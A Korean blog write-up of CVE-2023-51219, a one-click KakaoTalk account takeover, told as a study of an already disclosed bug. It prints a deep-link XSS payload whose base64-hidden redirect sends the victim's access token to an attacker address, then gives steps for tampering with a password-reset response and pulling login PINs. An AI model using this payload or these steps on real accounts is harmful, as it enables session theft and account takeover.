624 words
3 minutes
CVE-2023-51219 Kakaotalk One Click Exploit
NOTE

https://stulle123.github.io/posts/kakaotalk-account-takeover/
stulle123님의 블로그를 기반으로 합니다.

카카오 버그바운티에 자주 참여하는 사람으로써 해당 취약점 분석을 안해볼 수 없었습니다. stulle123님의 블로그와 관련 자료를 기반으로 하여, 구버전 카톡을 분석하였습니다

공격자는 해당 취약점을 이용해 원클릭으로 상대의 카카오톡 세션을 탈취할 수 있었습니다.

공격루틴은 아래와 같습니다

1. XSS를 통한 access token 탈취#

kakaotalk://buy/auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Q24620753380/q:"><img src=x onerror="document.location=atob('aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv');">

카카오톡 Android 앱의 CommerceBuyActivity는 딥링크를 통해 외부 웹페이지를 WebView로 로드합니다. 공격자는 이를 이용해 위와 같은 XSS 페이로드를 작성했습니다.

CommerceBuyActivity에서 kakaotalk://buy/hellohttps://buy.kakao.com/hello와 같이 해석되어 URL을 로드합니다.

이 상태에서는 buy.kakao.com에서 xss를 터트리는 것 외에는 방법이 없어보입니다. 따라서 분석자는 https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=에서 Open Redirect 취약점을 찾아 다른 xss 포인트로 옮기는 방법을 사용했습니다.

shoppinghow.kakao.com에서 DOM기반 XSS 취약점이 터져 해당 포인트에서 익스플로잇 했습니다.

2. 카카오 메일 계정 탈취#

서버로 요청된 Authorization 헤더에서 카카오 계정 access token이 노출됩니다

카카오 계정 토큰을 가지고 카카오 메일의 토큰을 만들었고 카카오 메일 계정을 탈취했습니다

  1. 비밀번호 재설정을 요청합니다
  2. /kakao_accounts/check_verify_type_for_find_password.json 패킷을 위조해 재설정 인증번호를 카카오 메일로 받습니다
{
  "status": 0,
  "verify_types": [
    0
  ],
  "suspended": false,
  "dormant": false,
  "kakaotalk": false,
  "expired": false,
  "created_at": 1700754321,
  "two_step_verification": false,
  "is_fill_in_email": false,
  "account_type": 0,
  "display_id": null
}
  • verify_types을 변경해 확인코드가 폰 대신 이메일로 전송되게 만들었다고 합니다

이를 통해 탈취한 이메일로 인증번호를 받아 비밀번호를 변경했습니다

3. 카카오톡 계정 탈취#

카카오톡 로그인에는 4자리 핀코드를 입력하는 2차 인증이 기본적으로 설정 되어 있습니다.

https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize https://katalk.kakao.com/win32/account/register_device.json

각각 모바일, PC에서의 인증번호를 받는 HTTP API 입니다.

탈취한 access_token을 사용해 PIN 번호를 임의로 가져올 수 있었습니다.

이로써 공격자는 완전히 피해자의 카카오톡 계정을 탈취했습니다.

CVE-2023-51219 Kakaotalk One Click Exploit
https://fuwari.vercel.app/posts/cve-2020-0601/
Author
nullbyte_
Published at
2025-06-02
License
CC BY-NC-SA 4.0